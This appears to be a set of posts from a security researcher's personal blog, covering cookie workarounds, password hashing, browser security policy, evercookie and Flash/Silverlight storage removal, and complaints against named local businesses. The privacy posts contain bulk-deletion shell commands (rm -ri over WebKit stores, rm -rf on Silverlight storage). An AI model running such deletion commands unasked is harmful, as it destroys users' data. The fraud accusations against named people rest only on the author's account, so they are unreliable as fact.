This is a quick note, partially for my own purposes of memory, of an idea. I tried to hit a GoToMeeting page earlier today. I didn't need to log on, just needed some basic information. The problem was it has one of those irritating cookie detector pages. Essentially, even though it doesn't need to set a cookie, it tries to, and if it can't, redirects you to "Sorry, you don't have cookies enabled."

In those situations, you need to allow the site to set a cookie, and then remove the cookie afterwards. Add-ons like CookieSafe let you use "Temporary Permissions" but those are set for much longer than a single page request. So you end up with an unnecessary cookie, potentially used for tracking that you don't need.

The cookies it sets are:

Set-Cookie: g2mVisitor=FirstVisit%3D1299181701998%26LastVisit%3D1299185151317%26RSN%3DDEFAULT; g2mSession=SessionInfo%3D200000000028062301%253A41EA01704E81824; JSESSIONID=abcldXoZn-6ZjaEQ4q95s

What I tried, was to send a fake Cookie: header, with all three of the cookie names it was looking for, but with blank values for each. It worked perfectly. They looked like:

Cookie: g2mVisitor=; g2mSession=; JSESSIONID=

My suggestion then is that CookieManagers provide a "Stub Cookie" option, where a site that wants cookies, but doesn't need them, can think it has set the cookies, but in truth just be getting blank values. It's a quick change that should have minimal impact. I had a quick look at CookieSafe's code (I can't seem to find any contact details for the author), and I'm hoping it's as easy to implement as it looks.

Time, time, time...

Fraudsters: AAA Plumbing & Electrical

nospam@example.com (Dominic White) — Mon, 24 Jan 2011 10:05:10 +0200

Last night we lost power to all electrical outlets in our house. On checking the board, I saw that it was the earth leakage, which I was unable to turn back on. This is a story about AAA Electrical (also know as AAA Plumbing, or AAA Electrical or AAA Plumbing & Electrical), and how they tried to defraud me, and appeared to have done it to many others. Don't use them. If you need a reliable & honest electrician use:

Andrew: +27 82 443 7762

It was a Sunday night, the fridge was off, and the prospect of no espresso in the morning was galling. I phoned the first full page ad in the yellow pages mentioning my area and "no callout fees, free quotes", AAA Electrical. The lady who answered, Cynthia, was polite and efficient. However, neither her, not the two other electricians I phones were able to give me even a ballpark figure. 20 years in the business it said, evidently earth leakages are still too tricksy to hypothetical quote on.

An hour later, Kenny and his partner Eziechiele arrived in an Isuzu bakkie (GP plates, started with an S). He unscrewed a bunch of wires in my board, set his ammeter to them, and proclaimed he had found the short; "It was a surge from the grid" he said. That's strange, nothing blew, none of the flats around me were affected. I didn't believe him. He then phoned Cynthia at the "head office" and returned with a quote of just less than R5k! I asked how much it would be to just replace the earth leakage switch, and not "clear the short", just less that R2k! This was clearly outrageous, so I sent him packing, but not after paying their R395 "call out fee", oops, they mean "quotation fee", no wait the ad said they didn't charge that either, ok, it's an "analysis fee". I also asked that he put everything back the way it was...

I then phoned the next electrician, Willem, who balked as I did at the outrageous quote, and said he could do it for half i.e. R2.5k. Wow.

Finally, I remembered that a good friend used to manage several electrical contractors and I phoned him for advice. He gave me the number of Andrew, listed above, and said he'd trust him with his kids. Much better. I phoned Andrew at 8am the next day, and by 9:30 he'd been round, performed the trivial task of resetting the earth leakage (you have to push it down hard, my bad) and agreed to charge me nothing more than his basic call out fee. What he did point out, is that Kenny had left several wires improperly screwed, and the neutral wires completely unscrewed. The only thing he attempted to screw right, was me.

It's sad that these guys can't operate an honest business, and feel they need to make their money through quoting for radically unnecessary work and attempting to damage your electrics further. This is the definition of fraud I am using. It appears I'm not the only one who's had a run in with them, several, others got screwed much worse.

Upcoming Talks, Workshops & Training - ZA / US / Emirates

nospam@example.com (Dominic White) — Wed, 22 Sep 2010 10:00:58 +0200

It seems my work on privacy has garnered some attention of late. Whether earned or not, I will be presenting at the Computer Security Institute's Virtual Conference CSIVX on the 28th of September. I will be on hand to answer questions, even though it will be some silly hour ZA time. This is technically the first "international" event I've ever "presented (see pre-recorded video for)" at, and it includes the likes of Ira Winkler, Amit Klein and Jeff Williams.

I'll also be presenting on privacy at IS' Internetix2010 conference in both Jozi & Cape Town. Internetix is a rocking conference organised by IS, and I'm chuffed to have been invited. It will be a nice chance to test the privacy stuff with a large non-sec crowd.

Next up, I'll also be presenting a workshop on Threat Modelling off the back of quite a lot of work we (my employer SensePost, and I) have done on it recently. If you want to get an idea of the content, have a look at the last set of slides. It's hosted by the ISF and will be held in Jozi on the 28th.

Finally, I'll most likely be giving the SensePost training at BlackHat Abu Dhabi in Nov. If we get over around 15 people I can justify someone smarter than me from SensePost joining us, so if you're keen for some training, please sign-up :)

SuperGenPass Update

nospam@example.com (Dominic White) — Tue, 01 Mar 2011 14:46:43 +0200

I made a small update to SuperGenPass (full write up) to randomise several of the variable names. This will prevent this exploit from working. It is by no means fool proof, and I'd still recommend using the Data URI or other out of band version for full assurance. I've been using it for a few weeks now with no incident. Additionally, as the randomisation is done per user, and up-front, I'd recommend hitting the page via TLS. I use a self-signed cert, the fingerprints are on the right of my blog.

VodaSMS Update

nospam@example.com (Dominic White) — Tue, 01 Mar 2011 15:04:54 +0200

Vodacom switched from the Vodacom4Me portal to a new Vodacom portal. I've updated VodaSMS to deal with that. You can get it in the usual place. The only caveat is that there's a strange MD5 value included in the SMS POST. It is currently consistent across logins, times and users. It may change per day, in which case this will stop working tomorrow. But I'll keep an eye on it and update accordingly.

SuperGenPass

nospam@example.com (Dominic White) — Tue, 17 Nov 2009 20:20:33 +0200

As someone who uses a lot of web apps, I run into the problem of trying to remember multiple passwords. Most people resolve this by just using the same password across all the sites. However, as numerous, examples, have, demonstrated, that's not a good idea. The knee-jerk counter is to use a different password (or groups of passwords) across the sites, but that becomes difficult to remember. If you want the quick solution I'm proposing then check out SuperGenPass (or my customised version). The security geek details follow after the jump.

Some of my colleagues use password databases such as KeyPassX, or the browser's "remember password" feature. These solutions are significantly better than using the same password across all sites, but suffer from a few problems:

You have all your passwords written down somewhere - at some point you may not be the only one looking at this list
That list isn't always protected - e.g. using Firefox's "remember password" feature without a master password could expose your password on physical theft of the device
Portability - if you aren't at your machine you can't log in. KeePassX is quite portable, but then ends up making more copies of the password list.

None of these are killers, but they aren't ideal. This is where SuperGenPass comes in. SuperGenPass hashes a password with the domain to make a unique password per-site, meaning that a compromise or malicious admin on one site won't give them the password for another site. The main advantage is that there's no database or list of passwords lying around that could be compromised and you only need remember one password. If you wear lots of tinfoil like me, you can remember groups of passwords e.g. critical, important, arb sites. It's ridiculously portable with a bookmarklet (don't use this, see below), data URI, straight JavaScript, Python (alternative) and J2MEE implementations.

There are a few potential problems that need to be considered (they all have solutions) however:

The bookmarklet runs in the same context as the website you're logging into. This means javascript on the site (or POST'ed/GET'ed information) has access to it. This allows a malicious or hacked site to get hold of your master password. There's a better explanation here, and I put up a demo here. So DO NO USE THE BOOKMARKLET. Any of the other versions are good enough, but are vulnerable to shoulder surfing (something the bookmarklet is not vulnerable to).

Update: The bookmarklet now uses some random variable and function names to reduce the changes that a straight capture of the master password will work. I'd still avoid the bookmarklet for important stuff.

The algorithm doesn't include za.net and za.org as top level domains. This means that all your passwords for the approximately 30k domains hosted under these could have the same password. As it is unlikely that the majority of internet users use more than one web-app in these domains, this isn't a huge risk. Although, it does technically make finding the correct MD5 collision slightly easier. When I notified the developers of the bug, the response was that a change in the algorithm would affect users with existing passwords on these sites and hence they would not change it. So I made my own, more on that later.
The default password length is 10. That's fine, but given research like this, and that setting the default to 12 costs the user nothing and potentially buys them $7,700,102,463 extra protection per password, that sounds like a good deal.
MD5 - this isn't a problem. The knee jerk I hear from some security people is that is uses MD5 and that's broken. However, the vulnerability in MD5 allows other values to be found that hash to the same value (a collision). This does not let you work out the reverse i.e. the original value (master password in this case) from a single hash however. So we're safe here (I think, crypto nerds got any comments?)

In light of the above, I've made my own customised version of sgp. It includes customised versions of all but the J2MEE version (which is partially customised by it's author to include za.net/org already). My recommendation is to use the Data URI as a bookmark loaded in your sidebar (in Firefox). While it is slightly slower logging in to one site because you will need to type the domain, it is faster when logging in to many because you can just change the domain without re-entering your master password. It is vulnerable to shoulder surfing however.

In summary. SuperGenPass provides a convenient way to use different passwords across different sites. There are some potential problems and improvements, to which I recommend using my customised version, with the preferred method being the Data URI as a Bookmark loaded in your sidebar.

Thanks to Russell for pointing SGP out in the first place, and Michael for the Python and J2MEE version and the changes.

Anti-Predictions for 2011

nospam@example.com (Dominic White) — Mon, 10 Jan 2011 11:53:20 +0200

Come the turn of the year, many people draw up list of predictions for the next. This list is slightly different, instead of focusing on what new threats, vulnerabilities or attacks we'll see, this is a list of some things that, if not already handled should be in your security strategy for this year. Some organisations are further along than others, and this list is targeted at the average ZA organization based on my observations. (Full disclosure, some of the items relate to services my employer offers, that's just because I believe in them).

Get a handle of what you have online. Many orgs have a much larger Internet presence than what's sitting in their hosting center. Cheap hosting, elastic hosting, service providers with their own infrastructure (particularly those catering directly to business units), half forgotten subsidiaries & business partners all put services online that tend to get overlooked. But expose your company to brand damage or access to your network. Best of all, this is cheap & quick to do. Consolidating the results into controlled hosting areas and applying consistent security standards isn't unfortunately.
Check up on exceptions to the basics. By now most have at least a basic patch, virus, change & configuration management process for servers. If you don't, start. If you do, start checking on exceptions such as;
- How many servers don't we know about & why?
- How many servers don't have AV & patches up to date?
- How many changes that didn't go through change control were made?
These are harder questions to answer, but as any pentester will tell you, we're good at finding those machines and that's our quick 'n easy in.
Third party patches. Microsoft did some good work in sorting out their patch release cycles and it's fairly easy to get those patches applied regularly. Unfortunately the attacks have moved to the harder to patch, less secure software on machines operated by less savvy users. This means you need to start managing non-MS patches, and you need to do it on more than just servers. Worse still, each third party software provider has their own update mechanism which is hard to centrally manage (in a Window environment at least). Big ticket patch management tools have long had this capability but they also come with the price tag. Cheaper tools such as Secunia CSI or even the right vulnerability scanner can alert on what needs doing.
Mobile security *processes* - People have hyped mobile security for years and we're at a point where there's a reasonable expectation that a majority of information workers have at least company email & calendar data on their phones. The most likely threat is of the device being lost or trivially accessed. Figure out what controls you can push to the most number of devices (e.g. MS ActiveSync allows passwords and lock times to be enforced & iDevices or RIM devices have an extended set of controls). More importantly however, is to implement processes for using these. They don't need to be perfect, but at a minimum employees should be able to report lost or stolen phones and have a remote wipe command sent & passwords reset.
Physical Access Management - It's 2011 and there are still wildly inconsistent ways in which this is managed. Make sure there is proper equipment sign in/out, that guards actually check bags & that legitimate data is entered (or go for the Ricardo Semler approach, but don't pay for an awkward middle ground). I still regularly sign in as Osama Bin Laden and walk in/out with laptops hidden in my bag. There are some nice advances in tech in ZA too; electronic sign in devices that look up ID numbers OTA and take copies of fingerprints. Next up make sure there's adequate camera coverage of your offices & that suspicious behavior is actually queried. A guy in a suit should not be an untested edge case.

These items need some real thought, and the above is intended merely as pointers, rather than full implementation guides. As for actual predictions, we've had some fun with that at work and will hopefully add to the noise with those soon.

GoogleSharing For Other Browsers

nospam@example.com (Dominic White) — Mon, 20 Dec 2010 00:32:37 +0200

GoogleSharing is something I've written about before, and strongly believe in. It's a way of proxying connections to unauthenticated Google services in such a way that:

Google can't work out who you are (random session cookies are used)
Google can't work out that you're using a proxy
The proxy can't see your searches (if using SSL)

However, right now it only runs in Firefox. While there are some people looking to port it to other browsers, there are some options available in the meantime, especially for mobile browsers.

The first, and most portable is to use the front-end I've previously blogged about. It's currently sitting at http://1984.za.net/. Unfortunately, this will not be encrypted, and the webserver will be able to see your searches, however, the other benefits remain, and you can use it when you're not at your computer.

The second, and which allows you to continue to use Google as normal, and works for more than just search, is a dynamic proxy.pac file hosted here. By default it gives you a working proxy.pac that will proxy *all* Google services (even authenticated ones, to be fixed) via GoogleSharing. The options are:

proxy.php - will load the default .pac which will specify a DIRECT connection, without proxy for non-Google services
proxy.php?proxy=<proxy>&port=<port> - will allow a specific proxy & port to be specified if you are being one e.g proxy.php?proxy=192.168.1.1&port=3128
proxy.php?proxy=<proxy>&port=<port>&socks - will do the same as the previous, except specify the default proxy as a SOCKS proxy

Additionally, it will blackhole Google Ads and the Facebook like button on non-webkit browsers (on webkit browsers it will ignore the blackhole, to be fixed).

This is in alpha right now, but I've been using it for a week on my iPhone (more on how to change 3G proxy settings on the iPhone later) with no major problems. Feel free to make a copy of the output and create your own proxy.pac. Any feedback would be appreciated.

Todo:

Only proxy unauthenticated Google services
Implement a blackhole that Webkit respects
Provide a full ad-blocker blacklist from EasyList as an optional extra

Browser Security - better defenses

nospam@example.com (Dominic White) — Mon, 29 Nov 2010 18:20:57 +0200

While sitting is a couple of talks at BlackHat Abu Dhabi, I got to thinking about how we can improve browser defenses. Much of the problems we have are due to the same problem that has plagued systems since Captain Crunch first blew his whistle at 2600 hertz; the data and control channel are the same. Your browser can't tell the difference between attacker injected script and legitimate scripts and happily responds to both. It's what allows XSS and CSRF attacks, and even SQLi. Framebusting is a great example of this, a site owner doesn't want his page to sit in a frame, but has to compete in the arms race against attackers who want the site to be framed. What we need is some way for a site-owner to specify a security policy, that exists outside of the application. The site-owner should be able to specify that the site shouldn't be framed, and the browser respect that, without an attacker able to inject an alternate set of instructions (or at least not trivially via the actual app). Right now, even if a site-owner is aware of the problem, with a smart security team, all they can do is compete in the arms race.

There's a corollary to the problem however, third-party content. The web is made of mashups. Even single-source content providers still include a raft of third-party content, from RSS feeds, to advertising or JQuery. This introduces a whole set of potential interconnected vulnerability that a site owner can't control. If an ad provider is hacked and used to distribute malware, then the site-owner's only choice (if detected) is to remove the ad.

We need something that can give a site owner control back of their application. Something that can be specified outside of the page content. A security policy that puts all the controls we have available to us with software (enforced security policy & ability to disable features not required) back in the hand of the right people. Once we get it, there's a whole separate discussion about how to get it widely supported and implemented, but we would need to agree on what that should be first.

Right now, a proposal for something like the first requirement exists in the form of the Content Security Policy put forward by Mozilla. This allows for a security policy to be specified outside the page, as a header returned by the webserver. Primarily, it controls what sources third party content can be loaded from, and prevents ways of getting around that. Additionally, it allows for policy directives that control additional features of the browsing experience. Following our framebusting example, one could use the frame-ancestors directive to ensure that your site can't be framed (in browsers which support CSP) by malicious sites. No JS in the page or frame attempts from third-parties could say otherwise. CSP is pretty great, but...

Like many defenses, the attacks have moved on. If you look at the number of new attacks enabled by HTML5, or attacks using Flash/SilverLight, limiting scripting and 10 policy directives won't cut it (but provides significantly more capability than nothing). We need something more comprehensive, and more future proof. What I'd like to propose, in a very early state looking for feedback, is an extension to CSP, where we have a policy directive for every browser feature. This could be done as some sort of capability tree where either an "on/off/whitelist/blacklist" rule can be applied. For example, image the following depth-first view of a tree leg "external data -> css -> images -> background-image" At the highest level, we could provide a global white/black list of the origins of external data, or turn it off completely. The next level down, we could do the same for CSS only, or completely disable it if our site doesn't require it. Continuing down the tree until it is possible for us to provide highly-granular control of individual CSS directives specifically. Thus, once could create very simple policies, or more complex granular policies.

This would buy us two improvements to CSP as I see it. The first is that we could avoid a reactive update of CSP every time a new attack using functionality not catered for by CSP comes out. The second benefit, is that the potential "attack surface" for an application could be greatly limited. Imagine being able to profile your app and provide a specific policy enabling only the functionality required by your app. Any attacks requiring such functionality would fail.

For the second problem, there are far less advanced tools available. The closet to it are the new HTML5 <iframe> sandbox directives, but they fall way short. What we need is something that can apply to all third party content (much like CSP, image sources, javascript sources, style sources etc.), and that provides a granular capabilities model. For this we could use the same capability tree from above. We'd need to work out how a site-owner defined policy and third-party enforced policy would relate, but it makes sense that a site-owner should not be able to re-enable stuff when including it as third-party content that the external site-owner has set. If not, attackers could just disable anti-framebusting CSP in their frame. So, a site-owner would only be able to further disable functionality when including third-party content. This could comfortable fit into the exiting CSP proposal, which already allows policy directives to be applied per origin.

This would allow a site owner to enforce significantly more control over content she was serving from third parties. For example, content from an ad network could be limited to only the functionality required (e.g. a specific image source and inclusion method, and possible explicit JS functionality to allow the monkey to be punched) and any malware served through it would be fairly castrated. Likewise, one could include content like Google Analytics or the FaceBook like button, but prevent them from setting a cookie.

In summary, I am proposing a discussion be started on extending CSP to provide a more granular control and enforcement model and further extending it to allow the enforcement to extend to how a site-owner wants to include third-party content. I'm possibly being quite naive about all of this, and would love some feedback. Truthfully, I'm not sure what the next steps would be, but we need to invest more time into fixing the web, rather than just breaking it.

Killing the Evercookie - Part2 MobileSafari

nospam@example.com (Dominic White) — Mon, 18 Oct 2010 11:54:33 +0200

UPDATE: An iPhone developer has turned this into an awesome little SBSetting addon. You'll still need a jailbroken phone but can install it via Cydia.

My previous experiments in killing the Evercookie in Safari sparked similar posts describing how to do the same for Chrome and Firefox. However, my second most frequent browsing platform is my iPhone, and I thought I would investigate how Apple IOS, MobileSafari & embedded WebKit fares. It does much worse. There are two problems; the first is, any app which embeds MobileWebKit has it's own stores for normal cookies, browser cache and HTML5 storage. Even if you go to your Safari settings (Settings -> Safari -> Clear {Cookies|Cache} & Settings -> Safari -> Databases -> Edit -> (delete all present) ) and delete everything, you haven't cleared the cookies, caches & stores in the other apps (e.g. even a simple cookie set for singe.za.net in Twitter.app's embedded browser, will still exist). The second problem is that, in MobileSafari, even if you do clear your MobileSafari store, the HTML5 localStorage mechanism isn't properly cleared and the evercookie reloads itself.

To hard clear all the WebKit datastores, including normal cookies, I put the following quick script together (you'll need a JailBroken iPhone). It will iterate through all WebKit databases, including MobileSafari's and clear out the evercookie. You'll need to close (not suspend) all apps running WebKit for this to be effective (the evercookie reloads itself in seconds if they're open). Note, it produces ugly output, and prompts before you delete files, but I wanted some visibility into who is storing what where. The first run deleted over 30 cookies in various places.

#!/bin/bash
echo "Deleting evercookie locations Safari missed (see samy.pl/evercookie)"

for DIRNAME in $(find /var/mobile/Applications -maxdepth 3 -type d -print|grep WebKit); do
        #Delete HTML5 SQLite DB
        ls "$DIRNAME"/Databases/*
        rm -ri "$DIRNAME"/Databases/*
        rm -ri /var/mobile/Library/WebKit/Databases/*
        #Delete HTML5 local storage
        ls "$DIRNAME"/LocalStorage/*
        rm -ri "$DIRNAME"/LocalStorage/*
        rm -ri /var/mobile/Library/WebKit/LocalStorage/*
        #Delete normal cookies
        ls "$DIRNAME"/Cookies/*
        rm -ri "$DIRNAME"/Cookies/*
        rm -ri /var/mobile/Library/WebKit/Cookies/*
done

I know this and my previous entry are scorched earth tactics. I'm okay with that for initial work and for browsers I don't use as my primary, due to limited privacy controls. Eventually these controls will need to be built into browsers (control to prevent, visibility into what is set when allowed, and an ability to delete). Something I can see all browsers (possibly except Chrome, because Google wouldn't be able to make money monetising your personal details then) doing.

In short, what does Apple need to do to fix this? They first need to update the MobileSafari preferences to properly clear HTML5 local storage. Currently, there is no way to do this without jailbreaking. Second, they need to add the ability to clear the history/cache/cookies/HTML5 storage for all apps with an embedded WebKit browser. How they do it is up to them, but a central option to clear all would be a good start.

Update: Clarified what the two separate problems are, and added a section on what Apple should do to fix. Also, hello to all the Slashdot and ThreatPost readers :)

Adobe Flash LSO & Microsoft Silverlight LSO Cookies

nospam@example.com (Dominic White) — Mon, 22 Nov 2010 22:28:09 +0200

I've been playing with ways of nuking evercookie-style identifier dropping (note: killing the evercookie specifically is silly, I'm aiming for unknown reimplementation too) and have worked some stuff out about LSOs. LSO are Local Storage Objects, they are ways Flash and Silverlight can store info on your machine rather than the remote server. The most common uses appear to be to drop an identifier, which behaves in exactly the same way as a cookie, or to store preferences (e.g. youtube volume settings).

The following information pertains to OSX, I'll get to other OS'es but I imagine their implementations won't vary greatly.

On OSX, three locations are relevant for these:

/Users/<username>/Library/Preferences/Macromedia/Flash Player/#SharedObjects/<8 random alphanumeric characters>
/Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/
/Users/<username>/Library/Application Support/Microsoft/Silverlight/is/<8.3 random alphanumeric>/<8.3 random alphanumeric>/1/

The first is where Adobe Flash LSOs are stored, the second is where site-specific Flash configurations are stored and the final is where Microsoft Silverlight LSOs are stored. Adobe LSO's are stored in files with the .sol extension. Silverlight uses a more complex storage mechanism and stores the data in a series of .dat & .txt files.

At first I played with just nuking everything with a recursive force delete. This will clear out anything in the LSO stores. You can even safely go as high up the directory tree as to exclude the <random dirs> e.g. rm -rf /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/*. However, this will not prevent future LSOs from being set. This will help provide anonymity (from techniques using these identifiers) between each clearing out, but not during, and frankly isn't good enough.

Next, I wanted to prevent them from being re-set. So, I looked at disabling the top-level storage directories by removing all permissions, but that causes undefined behaviour including Safari crashes and Flash/Silverlight universally not running. But Adam Shostack has helpfully sent me a script he had created which deleted the files, recreated blanks, and removed permissions. So, I set about experimenting with that. What I found was that while this works fine for Silverlight, it doesn't for Flash. Flash happily ignores the permissions and just overwrites the file (no symlink vuln here, I checked). Ok, so I then tried linking them to /dev/null, same thing, works for Silverlight, but Flash just sets them back. In some cases, Flash will even go so far as to temporarily use different file extensions to write the files, and move them over to the original once they're available again. Is it just me or is that overly persistent? I eventually worked out, by actually looking at Adam's code, that changing perms or symlinking to /dev/null on the directory containing the .sol rather than the .sol itself works. However, even then, the browser seems to still be able to create temporary LSOs in memory that persist until refreshed.

I eventually decided using the programs' own configuration options was probably the best way. Both Flash and Silverlight have a configuration option to limit the storage of LSOs. Flash uses the settings manager to modify the file /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/settings.sol By flipping the second byte after the "allowThirdPartyLSO" keyword you can manually set the setting. I opted to just generate a good settings.sol that I could overwrite the existing one with, which allows changes in this file to be easily managed by just regenerating a new one. Silverlight is much easier; you can either use the built-in settings manager by right-clicking in any Silverlight app, or create a blank file in /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/<random 8.3>/<random 8.3>/1/disabled.dat . Setting both of these permanently, and more robustly, disabled LSOs for both system.

However, one issue remains. Even with this setting, Flash still creates an entry is directory (2) above, to allow site-specific configurations items to be stored. This setting inherits from the global config, and won't allow custom data to be stored if all 3rd party LSOs are blocked. This setting is stored in /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/#<domain.name>/settings.sol in the second byte after the "allow" keyword. This certainly provides some useful info for forensic investigators: any time a user with all Flash local storage settings off and all privacy settings on visits a flash page, an entry will be created in the location above. You can't clear this from within the browser without the help of an extension which deletes the files. Also, less worryingly, Silverlight's file needs to be placed in the unique random directory structure that's created, which means a unique identifier persists. The solution there was just to change the directory name randomly, which Silverlight happily rolls with, and another UID bites the dust.

In short, the article above describes the best way to permanently disable LSO storage in Flash & Silverlight, and what not to try. The end result should be, that the evercookie won't be able to use them as locations. However, neither will legitimate applications. For the most part, this doesn't appear to break anything, as mostly apps store preference data, but there must be a few apps it will break. The solution to that will be detailed with some of the other, more interesting evercookie work at a later stage.

Why I think the Quality Vacation Club is a Dubious Organisation

nospam@example.com (Dominic White) — Thu, 20 Nov 2008 04:06:48 +0200

Donn is being bullied by QVC for their Carlswald based marketing. He is being sued for defamation. Now I'm no lawyer, but I'm sure truth is a defence to defamation, as is it being in the public interest. If someone asked me whether to buy services from QVC, I would strongly recommend against it for the below reasons based on my experiences (and reiterated by a wealth of negative complaints on hellopeter, even with them diluted through their user of different company names, and several blogs).

P.S. The exact link between QVC and the marketing front is unclear, but based on their (now removed) documentation sent to Donn, and the information from commentators below, there definitely seems to be one. Given the years of bad press, QVC certainly can't claim they didn't know/endorse this. Either way, make up your own mind, don't take my stuff as gospel.

They misrepresent themselves. They tell you that you have won a car. When I specifically asked Anna if this had anything to do with time-shares, she said "no". I was lied to.
It is so unlikely that you will win the car that the claim that, you have already won it, is misleading. Your chances are likely worse than the 1 in 15 Devine informed me of. Their business model could not survive if they had to give away a car to every 15 people. (According to their own calculations, they make an average of R54k per 59 people. Giving away a R68k car per 15 would put them at a loss of R213k before other prizes and operating costs are taking into account.)
They outright lied as to how they got my details. Devine told me it was a competition I entered 'sometime'. I don't enter these sorts of competitions, and given he didn't have my surname, it is likely I didn't complete an entry. I also never give competitions in general nor QVC in particular permission to phone me.
They keep changing their front company name (see the list below), nearly every company in the world tries to add value to their brand, identified by their name. Constantly changing your name, on the surface, makes it look as though you are avoiding the negative value attached, and it certainly helps to dilute their hellopeter scores.
They ask you to bring a partner for what appear to be mischievous reasons. A close personal friend (who shall not be named due to fear of intimidatory litigation) who attended one of QVC's presentations said he and an older man and his wife were belittled in front of their wives for not being able to afford a break for the family. They will likely counter that they ask you to bring your partner to help drive the other car if you win. However, when I asked to bring a male friend of mine, Devine got insistent that it be my wife.
Devine asked me how my surname was pronounced as he was unsure of how to pronounce it. The implication was that he had my surname. Given my surname is very pronounceable, it was clear he was trying to elicit this information by false pretences.

That's all I have, as I didn't go to their presentation thanks to the information provided to me by people such as Donn and numerous other sources (including the press). Their information allowed me to make an informed decision, and have QVC's untruths shown up as such. Disseminating this is in the public interest. At the very least it will save some people a potential waste of their time (as many of the hellopeter comments are thankful for), and at best it will force QVC to engage in honest and transparent marketing.

As an aside, and to help Donn's case, here are their hello peter stats per 'front' company:

Quality Vacation Club - Complaints 99 Resolved 23
Prestige Business Solutions - Complaints 32 Resolved 3
Unique Connections - Complaints 12 Resolved 0
World Connect / VIP / VIP World Connect - Complaints 12 Resolved 0
Prime Vision - Complaints 10 Resolved 0
Media Magic - Complaints 9 Resolved 0
Mega Communications - Complaints 9 Resolved 0
Ezweni Communications - Complaints 3 Resolved 0
Dynamic Communication - Complaints 4 Resolved 0 (including one mislabelled under RCS)
Real Communications / Real Communication - Complaints 1 Resolved 0
Ecoworld - Complaints 1 Resolved 0
Market Matrix - Complaints 1 Resolved 0

Total 184 Complaints and 26 Resolutions in the last 12 months! That's an average of 15 complaints a month (there's that number 15 again) for the company names I've manager to track down.

P.S. This is like tracking a botnet :)

Orwell vs Huxley, Amusing Ourselves to Death

nospam@example.com (Dominic White) — Mon, 11 Oct 2010 13:18:09 +0200

In his ZaCon talk, Haroon Meer worked in a fascinating comparison, by Michael Anissimov, between the fears that drove George Orwell when writing 1984, and those that drove Aldous Huxley when writing Brave New World.

In summary; Orwell feared censorship and centralised control of information, while Huxley feared so much information that people wouldn't engage in what really mattered. In a South Africa with proposed legislation to allow the government to declare some information so secret that it cannot be covered by the media (even if it meets the criteria of in the public interest), proposals to start censoring parts of the internet and a media tribunal to circumvent the existing ombudsman, it's easy to think Orwell is right. In many ways he is, and provides a haunting view of the dystopia this could become. However, there's no dichotomy here; Huxley's view is an equally important reminder of what we should do with the freedoms we have.

Personally, I find I could spend a whole day on Twitter/Facebook/IRC etc. I don't believe just using those technologies is a waste of time, in-fact I believe they can provide many benefits. However, it is easy to get trapped into constantly checking them and the inevitable meaningless interactions this leads to. Of course not every minute of the day can be spent in a productive rapture, but I wonder how much more we could achieve if we used them to better our collaboration as much as we better our cognitive load shedding. A potent reminder that freedom is worth nothing if not used.

What's more, from a privacy perspective; while it's right to worry about oppressive regimes and creepy attempts at implementing the panopticon (Orwell), it's as right, if not more pertinent, to worry about the privacy invasion from the tools and companies we love (Gmail, Facebook, Twitter etc.).

Online Privacy, a teaser

nospam@example.com (Dominic White) — Sun, 10 Oct 2010 22:58:02 +0200

I'll be speaking at IS' Internetix 2010 conference and this was originally posted there. I was asked to put a blog post together as a teaser for my talk.

Privacy is dead, or so the common wisdom says. But that can't be true. Centuries of philosophy tell us that it's vital for our development and existence as human beings. As a trite example, try imagine having a truly intimate conversation with your partner while knowing someone else was listening. But that's not what I want to talk about here. If you want to have that conversation, start with this paper.

What I do want to talk about is how much privacy invasion we allow in our daily online activities. But first let's talk about Google. Google is a hugely successful corporation. What's more, people *think* it is a hugely successful corporation, and so attempt to copy their methods and business models. A quick look on Amazon for business books about Google shows 1660 books, while a search for the same on Yahoo shows 635. If that's not enough for you, then try and imagine another way of monetising online content other than through advertising (unless you're Rupert Murdoch). Google is so exemplary of the online business model, that the next best example, Facebook, provides little meaningful differentiation when it comes to privacy invasion. So what is this miraculous, often copied, business model; wholesale personal data collection, correlation & aggregation used to better target ads.

You don't have to have thought very hard to have realised by now that Google's services aren't free. Sure, they don't cost you money, but Google needs to make money. They do that by collecting data about you, and using it to better target advertising at you. This doesn't worry most people, as long as that data isn't handed over to creepy government agencies or personal stalkers or allowed to be individually perused by Google employees. While all of those things are possible, and warrant enough worry in themselves, the truth is you don't really know what data is being collected, where it's being exposed, in what form and to who. Let's take Axciom, a company who's, until recently, sole purpose was to buy data about people and sell it back to marketers. How much do they know about you, who are they selling it to and with what controls?

So how does the average website leverage this world of advertising-based monetary rewards? They just include a few pieces of code into their website. This code can do all sort of things, from tracking you around the web to build a behavioural profile, interrogating your browser and computer for information, or just keeping a record of who and where you are. The problem is that sliding in these third party web-sources is easy to do, and there are many rewards to be had, both monetary and functional. The former is the primary driver, the filthy lucre of ad-click monetisation, while the latter gives you all sorts of ways to increase the loot (think analytics). Let's take an example site: memeburn.com. I've chosen this at random, not to single them out, because everyone is doing it. To view the kif content at memeburn, your browser only needs to communicate to the http://memburn.com/ webserver. However, when we hit the front page, before loading anything fancy like JavaScript, content is pulled from two other domains: afrigator.com (from the unsubtly named /track/ directory) and myscoop.co.za. After loading JavaScript, content is pulled from 34 domains in total (6 appear to belong to memeburn, 8 belong to Google, 6 to Facebook and 6 to Twitter with 10 others distributed among others). By way of comparison, a load of techcrunch.com hits 39 domains, this certainly isn't something memeburn only is engaging in. By just visiting the site, before we've even moved the mouse or read an article your browser has contacted, been poked, prodded and queried by dozens of services, none of which actually present you with the content you're there for, and with whom, for the most part, neither you nor the site have any contractual relationship with. Sure, they're privacy policies will state that they only give your information to business partners, aka anyone who will give them money for it. As we move up the stack and start using the web applications, the number of services and amount of information collected only increases. Come to the talk to see how something as simple as your search data speaks volumes about you. Now multiply that by every page you visit, every day you use the internet, over a lifetime; that's a lot of data. If you don't think it says anything about you, come to the talk to have your opinion changed.

